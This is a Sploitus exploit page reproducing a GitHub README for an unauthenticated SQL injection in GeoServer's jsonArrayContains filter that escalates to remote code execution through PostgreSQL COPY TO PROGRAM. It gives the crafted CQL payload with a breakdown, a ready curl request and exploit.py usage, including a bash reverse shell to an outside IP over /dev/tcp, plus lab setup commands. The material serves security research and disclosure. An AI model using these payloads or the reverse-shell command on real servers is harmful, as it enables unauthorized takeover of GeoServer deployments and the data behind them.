Sploitus

Exploit for geoserver-0day-rce

githubexploit Β· 2026-08-16

Exploit Code

README160 lines
## https://sploitus.com/exploit?id=A4039CC7-2E50-5B4C-906C-53025202BDD9
# GeoServer SQL Injection to RCE (Zero-Day)

**CVE:** None (yet?) | **CVSS:** 9.8 (Critical)

``CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H``

This vulnerability has been assigned **GHSA-mqjf-5f49-2fjh** by the GeoServer/GeoTools team and is actively being exploited in the wild as of August 2026.
The vulnerability has been patched but since it's so fresh (`1786870173`) it's still being exploited heavily around the web.

## TLDR

Unauthenticated SQL injection in GeoServer's `jsonArrayContains` function 
-> Remote Code Execution via PostgreSQL `COPY TO PROGRAM`.

## The vulnerability

GeoServer's (specifically in GeoTools) `jsonArrayContains` function, used to query JSON arrays in PostgreSQL, contains a **critical SQL injection vulnerability**. The third parameter (`expected`) is **directly concatenated** into the SQL query without any sanitization, escaping, or parameter binding.

Specifically this:

```
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "")')
```

### Deeper dive

The vulnerability comes from `GeoTools`' `FilterToSqlHelper.constructEquality` method.
The `jsonArrayContains` function's third parameter (`expected`) is directly written into the SQL string using `String.formatted()` without any escaping.

```js
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
```

This flaw is not a new bug, it's a regression of **CVE-2023-25158** (an identical CVSS 9.8 SQL injection vulnerability)

The new vulnerability was introduced when `GEOT-7589` added `jsonb_path_exists` support for PostgreSQL 12+.
The 2023 patch didn't protect the `jsonArrayContains` function, which was added/modified after that remediation.

## Demo

https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d

## Payload

Esentially this:

```
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
```

**Payload Breakdown:**

| Component | Purpose |
|-----------|---------|
| `jsonArrayContains(data,'/x','y")\'')` | Calls function with crafted third param |
| `OR 1=1))` | Closes JSON path and function call |
| `AS gt_injected;` | Aliases the derived table |
| `COPY (SELECT 1) TO PROGRAM 'COMMAND'` | PostgreSQL RCE command |
| `--')=true` | Comments out remaining SQL |

**Manual curl**
```bash
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
  --data-urlencode "service=WFS" \
  --data-urlencode "version=2.0.0" \
  --data-urlencode "request=GetFeature" \
  --data-urlencode "typeNames=topp:test_json" \
  --data-urlencode "outputFormat=application/json" \
  --data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
```

## Usage

Nobody wants to run curl right? here's the usage of exploit.py

**File Creation PoC**
```bash
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
  --show-payload
```

**RCE PoC**

```bash
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
  --show-payload
```

## Lab

A `docker-compose.yml` is provided for simplicity to have a quick start with the PoC.

After initialization using
```
Docker compose up -d
```

we can setup the enviroment using the REST api available to us
```bash
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '
  test_json_store
  
    db
    5432
    geoserver_data
    geoserver
    geoserver
    postgis
  
'
```
**Publish the layer**
```bash
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '
  test_json
  test_json
  Test JSON Layer
  EPSG:4326
'
```

## [Original X post](https://x.com/q1uf3ng/status/2087490992723407096)

## Disclaimer

This repository contains an independent proof-of-concept exploit for the GeoServer ;jsonArrayContains; zero-day SQL injection to RCE vulnerability.
This vulnerability was originally discovered and disclosed by η§‹ι£Ž ([@q1uf3ng](https://x.com/q1uf3ng)). The exploit chain was recreated and validated in a controlled lab environment.

This project is intended solely for authorized security research,
education, and testing in isolated laboratory environments.

Do not use this software against systems, networks, or data without
explicit authorization from the owner. You are solely responsible for
complying with all applicable laws and for any consequences resulting
from your use of this project.

The author, YonLiud, provides this project β€œas is,” without warranties
of any kind, and accepts no responsibility for damage, data loss,
service disruption, unauthorized access, or other misuse caused by this
software or derivative works.

By using this project, you acknowledge and accept these conditions.